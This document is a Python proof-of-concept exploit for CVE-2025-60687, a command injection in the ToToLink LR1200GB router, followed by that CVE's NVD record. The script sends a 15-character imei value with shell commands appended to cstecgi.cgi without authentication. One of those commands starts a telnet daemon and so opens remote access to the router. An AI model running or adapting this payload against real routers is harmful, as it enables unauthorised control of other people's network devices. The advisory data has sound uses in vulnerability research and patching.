CVE-2025-60687

#!/usr/bin/env python3 # CVE-2025-60687 PoC - ToToLink LR1200GB Command Injection # Target: cstecgi.cgi via imei parameter import requests import sys target = "http://target-router-ip" # Note: Replace 'target-router-ip' with actual router IP def exploit(target_ip, payload): """ Send malicious IMEI parameter to trigger command injection The imei parameter must be exactly 15 characters before the injection payload """ url = f"http://{target_ip}/cstecgi.cgi" # IMEI is 15 digits, we inject command after 15 chars # Example: '123456789012345;touch /tmp/pwned;' malicious_imei = "123456789012345;touch /tmp/pwned;" params = { "imei": malicious_imei } try: print(f"[*] Sending payload to {url}") print(f"[*] IMEI parameter: {malicious_imei}") response = requests.get(url, params=params, timeout=10) print(f"[*] Response status: {response.status_code}") if response.status_code == 200: print("[+] Payload sent successfully") print("[*] Command should be executed on the router") else: print("[-] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def start_telnet(target_ip): """ Example: Start telnetd service on the router """ url = f"http://{target_ip}/cstecgi.cgi" # Inject command to start telnetd malicious_imei = "123456789012345;telnetd;" params = {"imei": malicious_imei} try: response = requests.get(url, params=params, timeout=10) print("[+] Telnetd started (if vulnerable)") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <router_ip>") print("Example: python3 CVE-2025-60687.py 192.168.1.1") sys.exit(1) target_ip = sys.argv[1] exploit(target_ip, None)

{"cve": {"id": "CVE-2025-60687", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.720", "lastModified": "2025-11-19T17:38:41.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An unauthenticated command injection vulnerability exists in the ToToLink LR1200GB Router firmware V9.1.0u.6619_B20230130 within the cstecgi.cgi binary (sub_41EC68 function). The binary reads the \"imei\" parameter from a web request and verifies only that it is 15 characters long. The parameter is then directly inserted into a system command using sprintf() and executed with system(). Maliciously crafted IMEI input can execute arbitrary commands on the router without authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:*", "matchCriteriaId": "00F36DE9-D043-4C8B-9EF9-8DA669589E85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:*", "matchCriteriaId": "8442849E-5B06-41A1-8DA8-827FBD7A34E5"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-LR1200GB/CVE-2025-60687.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}